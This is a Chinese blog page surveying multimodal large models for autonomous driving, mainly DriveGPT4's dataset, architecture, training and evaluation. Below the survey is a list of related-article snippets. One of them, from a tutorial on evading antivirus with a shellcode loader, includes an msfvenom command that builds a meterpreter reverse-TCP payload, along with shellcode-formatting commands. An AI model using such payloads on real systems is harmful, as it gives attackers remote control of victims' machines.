当前位置: 首页 > news >正文

2024自动驾驶(多模态)大模型综述:从DriveGPT4、DriveMLM到DriveLM、DriveVLM

前言

由于今年以来,一直在不断深挖具身智能机器人相关,而自动驾驶其实和机器人有着无比密切的联系,甚至可以认为,汽车就是一个带着4个轮子的机器人

加之个人认为,目前大模型落地潜力最大的两个方向,一个是机器人,另一个便是自动驾驶,于此,本文来了

本文主要涉及以下4篇paper的解读(按发表的时间顺序排列)

  1. DriveGPT4: Interpretable End-to-end Autonomous Driving via Large Language Model
  2. DriveMLM: Aligning Multi-Modal Large Language Models with Behavioral Planning States for Autonomous Driving
  3. DriveLM: Driving with Graph Visual Question Answering
  4. DriveVLM: The Convergence of Autonomous Driving and Large Vision-Language Models

第一部分 DriveGPT4:将大模型用于可解释的端到端自动驾驶

1.1 相关工作与数据生成

1.1.1 端到端自动驾驶、多模态LLM

所谓端到端自动驾驶旨在基于视觉输入直接预测车辆路径和低级控制信号

  • 其中的这个工作:Deep Residual Learning for Image Recognition(byKaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun),则被认为是第一个深度学习端到端自动驾驶的工作
    在这项工作中,作者训练了一个卷积神经网络,使用单目图像作为输入来控制车辆
  • 而最近的工作通过将模块输出token化来集成所有系统模块 (Hu et al., 2023; Chen et al., 2023),实现了更强大和更稳健的控制效果

然而,这些工作缺乏可解释性,限制了其可信度和商业化潜力

另一方面,语言模型在自动驾驶领域的应用,其实早在几年前,便有人在BERT、GPT等这些数据集上做尝试,然后小模型毕竟能力有限,使得这类尝试没有啥效果

然随着大模型的爆发,加速了其与自动驾驶的融合,毕竟大模型相比之前的小模型,在常识推理上有着巨大的飞跃

1.1.2 数据生成

对于BDD-X 数据集

他们从 BDD-X 数据集中获取了视频和标签。 该数据集包含大约 20,000 个样本,其中包括 16,803 个用于训练的片段和 2,123 个用于测试的片段

每个片段被分为八张图像。 BDD-X 数据集为每一帧提供控制信号数据,例如车辆速度和转向角。它还包括文本注释,详细描述每个视频片段的车辆动作描述和动作理由,如下图所示:汽车停下,因为红灯

对于BDD-X 问答

BDD-X 提供三种类型的标签:车辆动作描述、动作理由和每个视频片段的控制信号。 为了训练LLM,需要问答(QA)对

  1. 首先,生成一组同义问题,并使用相应的 BDD-X 标签作为答案。 例如,对于车辆动作描述,一个等同于“这辆车当前的动作是什么?”的问题应作为输入问题发送给 LLM
  2. 然后,大模型应该生成response,其真实标签是车辆动作描述

考虑到BDD-X数据集中有三种类型的标签,创建了三个问题集: Q_aQ_jQ_c。为了防止大模型过拟合到固定的问题模式,受(Liu et al., 2023)的启发,每个问题集应包含一个问题的多个同义表达

  • Q_a,偏动作描述,包含等同于“这辆车当前的动作是什么?”的同义问题

  • Q_j,偏动作理由,包含等同于 “为什么这辆车会这样行驶?”的同义问题

  • Q_c,偏控制信号,包含等同于 “预测下一帧中车辆的速度和转向角”的同义问题

随机选择的问题q_{X} \in Q_{X}和相应的标签形成一个Q_A对来创建数据集,大模型可以同时学习预测和解释车辆行为

然而,这些问答对的内容是固定和僵化的。 由于缺乏多样性,仅依靠这些问答进行训练将降低大模型的能力,使其无法回答其他格式的问题

考虑到还没有针对自动驾驶目的的视觉指令跟随数据集。 因此,他们基于 BDD-X 并借助ChatGPT 创建了DriveGPT4自己的数据集

比如,ChatGPT 被用作教师来生成更多关于自车的对话,提示通常遵循 LLaVA 中使用的提示
设计

  1. 为了使 ChatGPT 能够“看到”视频,让YOLOv8 (Reis et al., 2023) 来检测视频每一帧中常见的对象(例如,车辆、行人),获得的边界框坐标按照LLaVA 进行归一化,并作为特权信息发送给 ChatGPT
    除了物体检测结果外,视频片段的真实控制信号序列和字幕也可以被ChatGPT访问

    比如下图展示了输入ChatGPT的信息,包括视频字幕、控制信号和通过YOLOv8获得的物体检测结果
  2. 基于这些权信息,ChatGPT被提示生成关于自车、交通信号灯、转向方向、车道变更、周围物体、物体之间的空间关系等多个回合和类型的对话

最终,他们收集了56K视频-文本指令跟随样本,包括16K BDD-X问答和40K由ChatGPT生成的问答

1.2 DriveGPT4的模型架构与其训练

1.2.1 模型架构

DriveGPT4是一种多功能的多模态大型语言模型,能够处理各种输入类型,包括视频和文本

  1. 视频被均匀采样为固定数量的图像,并使用基于Valley (Luo et al., 2023) 的视频tokenizer将视频帧转换为text domain tokens

    设输入视频帧表示为
    V=\left[I_{1}, I_{2}, \ldots, I_{N}\right]

    对于每个视频帧I_i,使用预训练的CLIP视觉编码器提取其特征F_{i} \in \mathbb{R}^{257 \times d}
    F_{i}的第一个通道表示I_{i}的全局特征,而其他256个通道对应I_{i}的局部特征

    为了简洁表示,图像I_{i}的全局特征表示为F_{i}^{G},而图像I_{i}的局部补丁特征表示为F_{i}^{P}
    整个视频的时间视觉特征可以表示为
    T=F_{0}^{G} \oplus F_{1}^{G} \oplus \ldots \oplus F_{N}^{G}

    其中 ⊕表示连接,整个视频的空间视觉特征由以下公式给出:
    S=\operatorname{Pooling}\left(F_{0}^{P}, F_{1}^{P}, \ldots, F_{N}^{P}\right)

    其中 \text { Pooling (} \cdot \text {) }表示一个池化层,将 N 个特征转换为一个单一的特征张量,以提高内存效率。最终,时间特征T和空间特征S通过投影仪projector投射到文本域(text domain)中
  2. 接下来,大模型Large Language Model需要基于多模态输入数据(视频数据和文本数据),以预测下一步的控制信号:p (i.e., (v_{N+1}\Delta_{N+1}))
    \rightarrow  输入视频剪辑的时间长度和当前车辆速度包含在文本输入中
    \rightarrow  转向角表示当前帧与前一帧之间的相对角度

    获得预测的token后,使用LLaMA分词器将token解码回文本,且预测的控制信号也嵌入在输出文本中(其使用固定格式,便于提取)

    原因在于借鉴RT-2 (Brohan et al., 2023) 的灵感,文本控制信号control signal使用相同的Text De-Tokenizer,这意味着控制信号可以被解释为一种语言——直接嵌入文本中且采用llama2默认的分词器

1.2.2 模型的训练:预训练与微调

与之前的LLM相关研究一致,DriveGPT4的训练分为两个阶段:

  1. 预训练阶段,重点在于视频-文本对齐
    与LLaVA(Liu et al., 2023)和Valley(Luoet al., 2023)一致,模型在CC3M数据集的593K图像-文本对和WebVid-2M数据集(Bain et al., 2021)的703K视频-文本对上进行预训练

    预训练图像和视频涵盖了各种主题,并未专门为自动驾驶应用设计。 在此阶段,CLIP编码器和LLM权重保持不变。 只有projector被训练

  2. 混合微调阶段,旨在训练LLM回答与可解释的端到端自动驾驶相关的问题
    在此阶段,DriveGPT4中的LLM与projector一起训练

    为了使DriveGPT4能够理解和处理领域知识,它使用在第之前生成的56K视频文本指令跟随数据进行训练。 为了增强DriveGPT4的视觉理解和问答能力,还利用了由LLaVA和Valley生成的223K通用指令跟随数据进行混合微调

    “混合”表示通用视觉理解数据与任务特定指令调优数据一起用于我们的任务训练。 因此,DriveGPT4与56K自动驾驶视频文本指令跟随数据和223K通用指令跟随数据一起进行微调。
    前者确保了DriveGPT4可以应用于可解释的端到端自动驾驶,而后者增强了DriveGPT4的数据多样性和视觉理解能力

1.3 实验

目前,除了 BDD-X 数据集外,很少有现有数据集提供由车载摄像头捕获的视频片段,并带有文本解释和控制信号的说明

因此,我们主要在 BDD-X 数据集上进行评估实验。 BDD-X 数据集经过筛选,去除控制信号和文本推理不一致的样本

1.3.1 可解释的自动驾驶:动作描述与理由、附加问答、定性结果

接下来,咱们评估 DriveGPT4 及其基线在解释生成方面的表现,涵盖车辆动作描述、动作理由以及关于车辆状态的附加问题,这是其中的几个细节

  1. ADAPT (Jin et al., 2023) 作为当前最先进的基准工作
    但所有方法都使用8帧视频作为输入。 考虑到内存消耗和推理速度,DriveGPT4不像 ADAPT 那样使用32帧视频作为输入
  2. 最近的多模态视频理解大型语言模型 (Zhang et al., 2023; Luo et al., 2023) 也被考虑用于比较

测试集划分。在车辆驾驶过程中,场景的分布通常是不平衡的。 例如,一些简单的场景如直行驾驶比更具挑战性的车辆转弯或变道更常见

为了进行全面的评估比较,测试集根据驾驶场景和车辆状态分为“简单”、“中等”和“困难”集,如下表所示

最终,在动作描述和理由上,所有测试分组的评估结果显示在下表中

从结果中可以看出,DriveGPT4在所有测试数据上都优于之前的SOTA基线ADAPT,特别是在具有更具挑战性的驾驶场景和车辆动态的“困难”分组中

附加问答上,评估结果如下表所示

ADAPT无法回答除车辆动作描述和解释之外的其他问题。 以前的视频理解LLM可以回答这些问题,但它们没有学习自动驾驶领域的知识。与所有基线相比,DriveGPT4表现出色,展示了其灵活性

定性结果上,下图是BDD-X测试集的一个可视化示例(可以看出来,DriveGPT4可以根据提示生成高质量的文本和控制预测)

然后,为了验证DriveGPT4的泛化能力,我们将DriveGPT4应用于NuScenes数据集(Caesar等,2020)进行零样本问答,如下图所示

且还尝试在视频游戏中使用DriveGPT4,以进一步测试其泛化能力

1.3.2 PK GPT4-V:GPT4的多模态版本

作为GPT4的多模态版本,GPT4-V能够理解和推理单帧图像,然而,GPT4-V仍然是一个通用的图像模型,并未专门针对自动驾驶应用进行微调

在比较之前,GPT4-V预先提示了几个BDD-X问答对。 在定性评估期间,尽管GPT4-V展示了强大的识别和推理能力,但观察到它:1 无法预测数值控制信号,2 未能正确理解一些车辆动作,特别是动态动作(例如,转弯、加速等)

第二部分 DriveMLM

// 待更

相关文章:

2024自动驾驶(多模态)大模型综述:从DriveGPT4、DriveMLM到DriveLM、DriveVLM

前言 由于今年以来,一直在不断深挖具身智能机器人相关,而自动驾驶其实和机器人有着无比密切的联系,甚至可以认为,汽车就是一个带着4个轮子的机器人 加之个人认为,目前大模型落地潜力最大的两个方向,一个是…...

晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册

晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册 晨控CK-GW08-EC是一款支持标准工业通讯协议EtherCAT的网关控制器,方便用户集成到PLC等控制系统中。系统还集成了8路读写接口,用户可通过通信接口使用EtherCAT协议对8路读写接口所连接的读卡器进行相对…...

向上or向下调整建堆 的时间复杂度的本质区别的讲解

知识点:(N代表节点数,h代表高度) 1:高度为h的满二叉树节点个数N为 2^(h)-1 即N 2^(h)-1 2:所以h log(N1) 一:向上…...

阿一网络安全实战演练之利用 REST URL 中的服务器端参数污染

所需知识 要解决这个实验室问题,您需要了解以下内容: 如何确定用户输入是否包含在服务器端的 URL 路径或查询字符串中。如何使用路径遍历序列尝试更改服务器端请求。如何查找 API 文档。 这些内容在我们的 API 测试学院主题中有涵盖。 进入实验室 研…...

[游戏开发] LuaTable转string存读二进制文件

UE5和Unity通用此方案,只不过读写文件的接口略有不同,lua代码的处理是相同的。 下面两个方法是 LuaTable和字符串互相转换的代码 function XUtils.luaTableToString(tab, sp)sp sp or ""local s ""for k,v in pairs(tab) doif t…...

光伏业务管理系统的一些妙用功能

现在信息化流程化基本上每个行业都必须要有的了,光伏业务管理系统软件是一种专门用于光伏产业运营和管理的综合性系统,它结合了信息技术、数据分析、项目管理、客户管理等多个领域的知识,为光伏企业提供了一个全面、高效、智能的管理平台&…...

Java面试八股之请简述消息队列的发布订阅模式

请简述消息队列的发布订阅模式 发布订阅(Publish-Subscribe,简称 Pub/Sub)模型是一种消息传递模式,它在组件之间提供了高度的解耦和灵活性。这种模式广泛应用于分布式系统、事件驱动架构以及消息队列系统中。下面是发布订阅模型的…...

七、2 ADC数模转换器有关函数介绍(Keil5)

函数介绍 (1)ADCCLK的配置函数(在rcc.h中) (2)ADC的库函数(在adc.h中)...

了解载波侦听多路访问CSMA(上)

1.CSMA的思想 CSMA的全称是Carrier Sense Multiple Access,在笔者的理解中,其更趋向于一种理论研究的随机接入协议,或者说,基于其思想诞生了比如CSMA/CD与CSMA/CA这样的具体协议。CSMA可以分成以下三种: 1-persistent…...

开启教育新征程:“集师” 知识付费平台搭建

在教育培训行业竞争日益激烈的今天,如何脱颖而出,实现知识的最大价值?答案就在 “集师” 知识付费平台搭建! “集师” 为您打造专属的知识付费平台,提供一站式解决方案。无论您是专注于学科教育、艺术培训还是职业技能…...

Vue3 + Electron 创建新的子窗口 且子窗口唯一

main.js const { app, BrowserWindow, ipcMain } require(electron) ...ipcMain.on(window-create, () > {createChildWindow() })let childWindow nullconst createChildWindow () > {// 如果窗口存在 先销毁if (childWindow) {childWindow.destroy()childWindow n…...

海康VisionMaster使用学习笔记2-相机取图及参数设置

相机取图及参数设置 1. 关联相机-相机管理界面 除了以上两类外,第三方相机都可以通过全局相机进行连接 2. 相机参数设置 相机连接 跨网段IP,枚举 图像缓存数量 实时取流,断线重连 只有支持组播的相机才可以实时取流 触发设置 触发源 LINE0 可以保护电路 LINE2 可配置输入输出…...

【网络】【Linux】Linux内核中连接的组织形式与全连接队列

Linux内核中连接的组织形式与全连接队列 文章目录 1.前言2.Linux内核中连接的组织形式2.1套接字和文件描述符2.2创建连接 & 获取连接 3.全连接队列3.1为什么有全连接队列?3.2全连接队列的长度 1.前言 TCP是面向连接的,TCP的各种可靠性机制实际都不…...

记录一次 npm ERR! cb() never called! 解决过程

gitlab cicd过程,使用docker部署Vue3前端项目,报错如下: 针对 npm ERR! cb() never called! 这个报错,网上有很多解决方案,大都是清空缓存,重新运行npm 之类的。笔者全都试过,无法解决问题。笔者…...

WEB渗透免杀篇-加载器免杀

SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...

什么是反人性设计?

目录 一、什么是人性? 二、什么是反人性设计? 三、有哪些反人性设计? 一、什么是人性? 人性,通常指的是人类共有的基本特质和行为倾向,它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...

如何进行长截图的两种方法

前言 本文主要讲2种截图方式,分别是谷歌和QQ。 谷歌分为Web端 和 移动端,选一种即可。 第一种:谷歌浏览器控制台自带的 1.先把控制台语言更改为中文,方便查看 ①.按F12,点击设置面板 ②.修改语言为中文并关闭 ③.点击…...

基于轨迹的汽车跟随系统横向控制方法

A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...

2024年8月15日嵌入式学习

今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程,当一个线程收到取消的申请时,他不会立即停止,而是在下一个取消点处结束运行,取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...

C++引用和指针的区别还分不清楚?

不像其他语言,c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌,给你画个表格协助判断。 总体上,我们可以总结为以下五个区别: 一、定义方式: 指针通过使用 * 来定义,例如&#xff1…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...

利用ngx_stream_return_module构建简易 TCP/UDP 响应网关

一、模块概述 ngx_stream_return_module 提供了一个极简的指令&#xff1a; return <value>;在收到客户端连接后&#xff0c;立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量&#xff08;如 $time_iso8601、$remote_addr 等&#xff09;&a…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)

目录 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f608;sinx波动的基本原理 三、&#x1f608;波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、&#x1f30a;波动优化…...

Mysql中select查询语句的执行过程

目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析&#xff08;Parser&#xff09; 2.4、执行sql 1. 预处理&#xff08;Preprocessor&#xff09; 2. 查询优化器&#xff08;Optimizer&#xff09; 3. 执行器…...

MySQL 8.0 事务全面讲解

以下是一个结合两次回答的 MySQL 8.0 事务全面讲解&#xff0c;涵盖了事务的核心概念、操作示例、失败回滚、隔离级别、事务性 DDL 和 XA 事务等内容&#xff0c;并修正了查看隔离级别的命令。 MySQL 8.0 事务全面讲解 一、事务的核心概念&#xff08;ACID&#xff09; 事务是…...

群晖NAS如何在虚拟机创建飞牛NAS

套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...

Bean 作用域有哪些?如何答出技术深度?

导语&#xff1a; Spring 面试绕不开 Bean 的作用域问题&#xff0c;这是面试官考察候选人对 Spring 框架理解深度的常见方式。本文将围绕“Spring 中的 Bean 作用域”展开&#xff0c;结合典型面试题及实战场景&#xff0c;帮你厘清重点&#xff0c;打破模板式回答&#xff0c…...